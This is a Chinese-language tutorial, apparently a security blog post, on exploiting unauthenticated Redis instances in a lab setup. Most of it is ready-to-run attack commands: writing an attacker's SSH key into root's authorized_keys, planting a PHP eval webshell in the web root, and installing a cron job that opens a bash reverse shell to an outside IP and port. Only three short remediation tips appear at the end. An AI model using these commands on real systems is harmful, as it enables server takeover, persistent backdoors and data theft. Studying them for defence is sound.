Redis未授权访问漏洞利用总结

2020-12-23 10:07:50 浏览数 (1)

漏洞简介

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。

Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

影响版本:

Redis 2.x,3.x,4.x,5.x

漏洞环境搭建

  • 环境搭建
  • 安装redis

centos系统:

参考:https://jingyan.baidu.com/article/020278114119b71bcc9ce5bf.html

windows系统:

参考:https://github.com/microsoftarchive/redis/releases

对应的.msi版本下载之后,傻瓜式安装即可;

kaili:

代码语言:javascript复制
apt-get install redis-server -y

安装完毕以后,需要更改一些配置

  • 修改配置文件

linux系统的redis.conf文件,

windows系统的redis.windows.conf、redis.windows-service.conf文件

修改如下内容:

代码语言:javascript复制
#bind 127.0.0.1  //注释这条
protected-mode no    //非保护模式
daemonize yes    //进程守护,后台运行

服务端(靶机)启动redis-server同时加载配置文件

代码语言:javascript复制
redis-server /etc/redis.conf  
redis-cli     //测试连接本地
exit   //测试完毕后退出

如下显示已经安装成功。

Redis常用命令:

代码语言:javascript复制
  set testkey "Hello World"         # 设置键testkey的值为字符串Hello World
  get testkey                       # 获取键testkey的内容
  SET score 99                      # 设置键score的值为99
  INCR score                        # 使用INCR命令将score的值增加1
  GET score                         # 获取键score的内容
  keys *                            # 列出当前数据库中所有的键
  get anotherkey                    # 获取一个不存在的键的值
  config set dir /home/test         # 设置工作目录
  config set dbfilename redis.rdb   # 设置备份文件名
  config get dir                    # 检查工作目录是否设置成功
  config get dbfilename             # 检查备份文件名是否设置成功
  save                              # 进行一次备份操作
  flushall 删除所有数据
  del key 删除键为key的数据
  • 关闭防火墙:
代码语言:javascript复制
临时关闭:
sudo systemctl stop firewalld
禁止开机启动
systemctl disable firewalld
  • redis连接

服务端:

代码语言:javascript复制
redis-server  /etc/redis.conf

redis客户端:

代码语言:javascript复制
redis-cli  -h  10.1.8.158

在本机上测试:

测试完以后exit,退出,另一个客户端就可以连接了。

在kaili上测试:

不需校验直接就可以连接redis,存在Redis未授权访问漏洞。

备注:

测试的时候如果出现redis客户端一直连不上的情况,在靶机上执行了以下命令,客户端就可以连接上了。

代码语言:javascript复制
iptables -L -nv
iptables -F

只要是linux,任何发型版本都有iptables,firewall和ufw都是调用的iptables,虽然我把firewalld关了,但是还是有iptables策略。

漏洞利用

  • 利用姿势1,redis写入ssh公钥,获取操作系统权限

原理:利用了redis数据库的备份功能,当redis以root身份运行,利用Redis的config set命令,只要内容为SSH公钥内容,文件路径满足公钥存放的位置,就可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

在靶机中创建ssh公钥存放目录(一般是/root/.ssh)

代码语言:javascript复制
  mkdir /root/.ssh

靶机中开启redis服务

代码语言:javascript复制
redis-server  /etc/redis.conf

在攻击机中生成ssh公钥和私钥,密码设置为空:

代码语言:javascript复制
ssh-keygen –t rsa

进入.ssh目录,然后将生成的公钥写入 ceshi.txt 文件

代码语言:javascript复制
(echo -e "nn"; cat id_rsa.pub; echo -e "nn") >ceshi.txt

将保存ssh的公钥ceshi.txt写入redis

代码语言:javascript复制
cat ceshi.txt | redis-cli -h 10.1.8.158 -x set crack

攻击机连接 靶机Redis

代码语言:javascript复制
redis-cli  -h  10.1.8.158

使用 CONFIG GET dir 命令得到redis备份的路径,更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)并设置上传公钥的备份文件名字为authorized_keys:

代码语言:javascript复制
 config get dir
 config set dir /root/.ssh/
 config set dbfilename "authorized_keys"
 save

至此成功写入ssh公钥到靶机。

然后在攻击机上使用ssh免密登录靶机:

代码语言:javascript复制
ssh -i id_rsa root@10.1.8.158
  • 利用姿势2,直接向Web目录中写webshell

原理:

利用了redis数据库的备份功能,在知道了网站路径以后,使用redis的CONFIG set命令,将文件内容为一句话木马,文件路径为网站根目录的wenshell写入目标服务器。

前提条件:

redis可以连接,且知道web目录路径。

示例 在redis客户端,连接redis服务器后,输入命令:

代码语言:javascript复制
set x "nnn<?php @eval($_POST['redis']);?>nnn"
config set dir /www/admin/localhost_80/wwwroot    //根据具体的网站路径来写,我是用phpstudy搭的,所以写这个了
config set dbfilename shell.php
save

//其中nnn代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

将dir设置路径为网站根目录,dbfilename设置文件名为shell.php,再执行save或bgsave,于是就将一句话写到网站根目录下了。

使用菜刀,连接http://10.1.8.158/shell.php,密码为redis,连接成功:

  • 利用姿势3,linux计划任务执行命令反弹shell:

原理:

首先同样利用了redis数据库的备份功能,在我们不知道网站绝对路径的时候,可以利用linux的定时任务特性:Linux会监测/etc/crontab的内容,当我们将反弹shell的命令使用redis备份到/etc/crontab中,就可以获得反弹shell。

cron介绍

我们经常使用的是crontab命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。

代码语言:javascript复制
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。

其他crontab知识可以参考:https://www.runoob.com/w3cnote/linux-crontab-tasks.html

注意: 在不同系统中,root的位置是不一样的 在kali和ubantu中,其文件位置为/var/spool/cron/crontabs/root,在centos系列中位置为/var/spool/cron/root,通常情况下没有root文件,需要自己创建。

示例:

VPS开nc监听需要反弹shell的端口:

客户端连接上Redis服务端以后,执行:

代码语言:javascript复制
set xxx "nn* * * * * bash -i>& /dev/tcp/104.168.147.13/8888 0>&1nn"
config set dir /var/spool/cron
config set dbfilename root
save

//添加名为xxx的key,值为后面反弹shell的语句,5个星号代表每分钟执行一次,其中的n同样是为了换行,避免crontab的语法错误。

反弹shell命令成功写入了靶机的/var/spool/cron/root中:

检查定时任务是否执行:

代码语言:javascript复制
tail -10000f /var/log/cron | grep 'bash'     //后面是加关键字

VPS成功获得反弹shell:

修复建议

1、禁止外部访问Redis服务端口

2、禁止使用root权限启动redis服务

3、配置安全组,限制可连接Redis服务器的IP

END

0 人点赞